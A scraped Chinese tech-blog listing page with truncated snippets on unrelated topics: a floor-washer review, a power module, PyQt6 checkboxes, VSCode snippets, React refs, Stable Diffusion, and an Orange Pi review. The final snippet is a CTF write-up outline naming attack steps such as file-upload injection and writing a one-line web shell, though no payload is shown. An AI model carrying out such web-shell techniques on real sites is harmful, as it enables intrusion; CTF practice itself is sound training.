在快节奏的现代生活中,洗地机以其吸尘、拖地和洗地三合一的功能,极大地简化了家庭清洁工作,已成为家庭清洁的得力助手。它不仅能缩短清洁时间,节省体力,还能提升清洁效果。作为资深的居家测评家,关于洗地机…

5W 3KVAC隔离 宽电压输入 AC/DC 电源模块,广泛用于工控和电力仪器、仪表、智能家居等相关行业——TP05AL系列

TP05AL系列产品是一款经济型开板式开关电源,输出功率为5W,具有可靠性高、小体积、性价比高等特点,广泛用于工控和电力仪器、仪表、智能家居等相关行业。 产品特性: 输出,输入特性 :

Python基于PyQt6制作GUI界面——多选框

QCheckBox 是 PyQt6 中的一个复选框控件&#xff0c;它允许用户通过单击来选择或取消选择某个选项。与 QRadioButton 不同&#xff0c;QCheckBox 控件并不互斥&#xff0c;这意味着用户可以同时选择多个 QCheckBox。示例对应的制作的 ui文件 界面如下所示。 <?xml version…

VSCode自动生成代码片段

1. 代码片段配置入口 输入&#xff1a;snipp 选择 Configure User Snippets 然后再选择 New Global Snippets file 输入 新建文件名称&#xff0c;然后按回车键。 2. 编辑代码模板 文件头和函数头模板&#xff1a; {"FileHeader":{"scope": "…

工作纪实50-Idea下载项目乱码

下载了公司的一份项目代码&#xff0c;发现是gbk格式的&#xff0c;但是我的日常习惯又是utf-8&#xff0c;下载项目以后全是乱码&#xff0c;一脸懵 借用网友的一张图&#xff0c;如果是一个一个文件这么搞&#xff0c;真的是费劲&#xff0c;好几百个文件&#xff01; 步骤…

React@16.x(11)ref

目录 1&#xff0c;介绍1.1&#xff0c;得到的结果 2&#xff0c;参数类型2.1&#xff0c;字符串&#xff08;不再推荐&#xff09;2.2&#xff0c;对象2.3&#xff0c;函数函数调用时机 3&#xff0c;注意点 1&#xff0c;介绍 reference 引用。和 vue 中的 refs 类似&#x…

【软考】下篇 第12章 信息系统架构设计理论与实践

目录 一、信息系统架构的定义二、信息系统架构风格三、信息系统架构分类四、信息系统常用的4种架构模型&#xff08;SCSB&#xff09;五、企业信息系统的总体框架ISA六、TOGAF & ADM七、信息化总体架构方法信息化六要素信息化架构模式信息系统生命周期&#xff08;规分设实…

AI绘画Stable Diffusion【ControlNet】:使用InstantID插件实现人物角色一致性

大家好&#xff0c;我是阿威。 今天我们介绍一下InstantID。它能够实现在保持高保真度身份保留的同时&#xff0c;仅使用单张面部图像参考就可以实现个性化图像合成&#xff0c;并且支持各种不同的风格。 今天我们就来看看在Stable Diffusion的ControlNet插件中InstantID模型…

国产性能怪兽——香橙派AI Pro(8T)上手体验报告以及性能评测

目录 1、引言2、性能参数3、开箱体验4、实际使用5、性能比较总结参考文章 1、引言 第一次接触香橙派的开发板&#xff0c;之前使用过Arduino、树莓派3B、树莓派4B&#xff0c;STM32&#xff0c;51单片机&#xff0c;没有想到国产品牌性能一样强劲&#xff0c;使用起来也是很方便…

[SWPUCTF 2022 新生赛]奇妙的MD5... ...

目录 [SWPUCTF 2022 新生赛]奇妙的MD5 [GDOUCTF 2023]受不了一点 [LitCTF 2023]作业管理系统 注入点一&#xff1a;文件上传 注入点二&#xff1a;创建文件直接写一句话木马 注入点三&#xff1a;获取数据库备份文件 [LitCTF 2023]1zjs [SWPUCTF 2022 新生赛]奇妙的MD5 …